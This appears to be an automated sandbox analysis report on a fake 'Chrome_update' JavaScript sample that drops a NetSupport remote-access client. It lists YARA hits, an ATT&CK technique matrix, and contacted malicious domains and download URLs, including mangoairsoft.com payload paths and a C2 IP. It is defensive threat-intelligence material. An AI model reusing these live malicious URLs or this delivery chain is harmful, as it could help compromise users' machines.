Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\ProgramData\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	20_2_11174898
Source: C:\ProgramData\client32.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	20_2_11174B29
Source: C:\ProgramData\client32.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	20_2_11174BCC

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\ProgramData\client32.exe

Code function: 20_2_110F37A0 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeA,GetLastError,Sleep,CreateNamedPipeA,LocalFree,

20_2_110F37A0

Source: C:\ProgramData\7zz.exe

Code function: 17_2_0040C756 GetSystemTime,SystemTimeToFileTime,

17_2_0040C756

Source: C:\ProgramData\client32.exe

Code function: 20_2_1117594C __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

20_2_1117594C

Source: C:\ProgramData\7zz.exe

Code function: 17_2_0046CF4C EntryPoint,GetVersion,GetCommandLineA,

17_2_0046CF4C

Source: C:\ProgramData\client32.exe

Code function: 20_2_1103BA70 SHGetFolderPathA,GetUserNameA,DeleteFileA,_sprintf,_fputs,_free,GetFileAttributesA,SetFileAttributesA,

20_2_1103BA70

Source: Yara match	File source: 29.2.client32.exe.745d0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.client32.exe.280000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.client32.exe.74790000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.client32.exe.745d0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.client32.exe.745d0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.client32.exe.280000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.client32.exe.111b8c68.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.client32.exe.74790000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.client32.exe.280000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.0.client32.exe.280000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.0.client32.exe.280000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.client32.exe.74790000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.client32.exe.280000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.23096c8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.client32.exe.71630000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.27b43f8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.23096c8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.22f9d50.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.2423280.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.241e908.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.2416790.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.3.7zz.exe.2423280.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.3588021800.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3579613734.0000000002E93000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.1408985353.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000000.1319389231.0000000000282000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.1325547573.0000000000282000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000000.1254567847.0000000000282000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000000.1403272833.0000000000282000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3590891004.0000000071670000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3587342091.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.1329187153.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3568927747.0000000000282000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.1408768703.0000000011194000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.1329461804.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.1406703924.0000000000282000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.1191680257.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7zz.exe PID: 1436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 1652, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 6836, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 6916, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\pcicapi.dll, type: DROPPED
Source: Yara match	File source: C:\ProgramData\PCICHEK.DLL, type: DROPPED
Source: Yara match	File source: C:\ProgramData\client32.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\HTCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\ProgramData\TCCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\ProgramData\PCICL32.DLL, type: DROPPED

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	3 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	221 Scripting	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	221 Scripting	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	12 Clipboard Data	Exfiltration Over Bluetooth	21 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	3 Native API	Logon Script (Windows)	113 Process Injection	4 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	11 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 Command and Scripting Interpreter	Logon Script (Mac)	1 Registry Run Keys / Startup Folder	1 Software Packing	NTDS	35 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	4 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	31 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	15 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Masquerading	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Modify Registry	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	2 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	113 Process Injection	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Chrome_update(1).js	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\ProgramData\7zz.exe	0%	ReversingLabs
C:\ProgramData\HTCTL32.DLL	3%	ReversingLabs
C:\ProgramData\PCICHEK.DLL	5%	ReversingLabs
C:\ProgramData\PCICL32.DLL	5%	ReversingLabs
C:\ProgramData\TCCTL32.DLL	3%	ReversingLabs
C:\ProgramData\client32.exe	12%	ReversingLabs
C:\ProgramData\msvcr100.dll	0%	ReversingLabs
C:\ProgramData\pcicapi.dll	3%	ReversingLabs
C:\ProgramData\putty.exe	0%	ReversingLabs
C:\ProgramData\remcmdstub.exe	3%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.pci.co.uk/support	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://www.pci.co.uk/supportsupport	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	0%	URL Reputation	safe
http://127.0.0.1RESUMEPRINTING	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat	0%	Avira URL Cloud	safe
http://%s/testpage.htmwininet.dll	0%	Avira URL Cloud	safe
http://%s/testpage.htm	0%	Avira URL Cloud	safe
https://mangoairsoft.com/	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat-o	0%	Avira URL Cloud	safe
http://127.0.0.1	0%	Avira URL Cloud	safe
http://%s/fakeurl.htm	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe-	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z-	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?597673	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe4	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf250	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z	100%	Avira URL Cloud	malware
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe	100%	Avira URL Cloud	malware
http://94.158.247.23/fakeurl.htm	100%	Avira URL Cloud	malware
https://magydostravel.com/cdn/zwmrqqgqnaww.php	100%	Avira URL Cloud	malware
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?5	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf258	0%	Avira URL Cloud	safe
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
geography.netsupportsoftware.com	62.172.138.8	true	false	high
mangoairsoft.com	188.127.230.147	true	true	unknown
geo.netsupportsoftware.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe	true	Avira URL Cloud: malware	unknown
http://geo.netsupportsoftware.com/location/loca.asp	false		high
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat	true	Avira URL Cloud: safe	unknown
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z	true	Avira URL Cloud: malware	unknown
http://94.158.247.23/fakeurl.htm	true	Avira URL Cloud: malware	unknown
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?597673	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.netsupportsoftware.com	7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	false		high
http://www.pci.co.uk/support	7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3588021800.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.1329461804.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 0000001D.00000002.1408985353.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	false	URL Reputation: safe	unknown
http://%s/testpage.htmwininet.dll	7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3590891004.0000000071670000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.17.dr	false	Avira URL Cloud: safe	low
https://sectigo.com/CPS0	7zz.exe, 00000011.00000003.1202067177.00000000022E5000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	7zz.exe, 00000011.00000003.1202067177.00000000022E5000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	false	URL Reputation: safe	unknown
http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)	7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3587342091.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.1329187153.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 0000001D.00000002.1408768703.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	false		high
http://ocsp.sectigo.com0	7zz.exe, 00000011.00000003.1202067177.00000000022E5000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	false	URL Reputation: safe	unknown
http://www.pci.co.uk/supportsupport	7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3588021800.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.1329461804.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 0000001D.00000002.1408985353.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	false	URL Reputation: safe	unknown
http://geo.netsupportsoftware.com/location/loca.asp7	client32.exe, 00000014.00000003.1567802083.000000000106D000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3582970407.00000000056F0000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000003.1567379641.00000000056D1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.thawte.com0	7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	7zz.exe, 00000011.00000003.1202067177.00000000022E5000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	false	URL Reputation: safe	unknown
http://127.0.0.1RESUMEPRINTING	7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3587342091.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.1329187153.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 0000001D.00000002.1408768703.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	false	URL Reputation: safe	low
http://%s/testpage.htm	7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe, client32.exe, 00000014.00000002.3590891004.0000000071670000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.17.dr	false	Avira URL Cloud: safe	low
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	7zz.exe, 00000011.00000003.1202067177.00000000022E5000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	false	URL Reputation: safe	unknown
http://127.0.0.1	client32.exe, client32.exe, 00000014.00000002.3587342091.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.1329187153.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 0000001D.00000002.1408768703.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	false	Avira URL Cloud: safe	unknown
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat-o	curl.exe, 0000000A.00000002.1179118449.0000020751860000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1191680257.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.17.dr, remcmdstub.exe.17.dr, TCCTL32.DLL.17.dr, PCICHEK.DLL.17.dr, PCICL32.DLL.17.dr, pcicapi.dll.17.dr	false		high
https://mangoairsoft.com/	wscript.exe, 00000000.00000002.1331277766.000001F055A20000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	7zz.exe, 00000011.00000003.1202067177.00000000022E5000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	false	URL Reputation: safe	unknown
http://%s/fakeurl.htm	7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe, client32.exe, 00000014.00000002.3590891004.0000000071670000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.17.dr	false	Avira URL Cloud: safe	low
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	7zz.exe, 00000011.00000003.1202067177.00000000022E5000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	false	URL Reputation: safe	unknown
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe-	curl.exe, 00000008.00000002.1172422592.000001D23D778000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z-	curl.exe, 00000006.00000002.1159539657.00000222B2AE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://geo.netsupportsoftware.com/location/loca.asp%	client32.exe, 00000014.00000002.3582970407.00000000056F0000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000003.1567379641.00000000056D1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://geo.netsupportsoftware.com/location/loca.aspe	client32.exe, 00000014.00000003.1568358740.000000000575D000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000003.1566944145.000000000575D000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3583431983.000000000575D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	7zz.exe, 00000011.00000003.1202067177.00000000022E5000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	false	URL Reputation: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe.17.dr	false		high
https://www.chiark.greenend.org.uk/~sgtatham/putty/	7zz.exe, 00000011.00000003.1202067177.00000000022E5000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	false	URL Reputation: safe	unknown
https://magydostravel.com/cdn/zwmrqqgqnaww.php	CacheURL.dat.17.dr	false	Avira URL Cloud: malware	unknown
http://www.symauth.com/rpa00	7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, 7zz.exe, 00000011.00000003.1191680257.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, HTCTL32.DLL.17.dr, remcmdstub.exe.17.dr, TCCTL32.DLL.17.dr, PCICHEK.DLL.17.dr, PCICL32.DLL.17.dr, pcicapi.dll.17.dr	false		high
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	7zz.exe, 00000011.00000003.1202067177.00000000022E5000.00000004.00000020.00020000.00000000.sdmp, putty.exe.17.dr	false	URL Reputation: safe	unknown
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe4	curl.exe, 00000008.00000002.1172633599.000001D23D7A9000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1171509627.000001D23D7A9000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1171272805.000001D23D7A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf250	wscript.exe, wscript.exe, 00000000.00000003.1270530250.000001F055086000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1330467633.000001F05361E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1270397845.000001F05506A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1270397845.000001F055086000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1270503289.000001F05361D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1330634366.000001F055086000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://geo.netsupportsoftware.com/location/loca.asp/	client32.exe, 00000014.00000003.1568358740.000000000575D000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000003.1566944145.000000000575D000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3583431983.000000000575D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.netsupportschool.com/tutor-assistant.asp11(L	7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3588021800.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.1329461804.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 0000001D.00000002.1408985353.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	false		high
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?5	wscript.exe, 00000000.00000003.1273375631.000001F055235000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf258	wscript.exe, 00000000.00000003.1270397845.000001F05506A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1112213896.000001F05506A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.netsupportschool.com/tutor-assistant.asp	7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3588021800.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.1329461804.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 0000001D.00000002.1408985353.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr	false		high
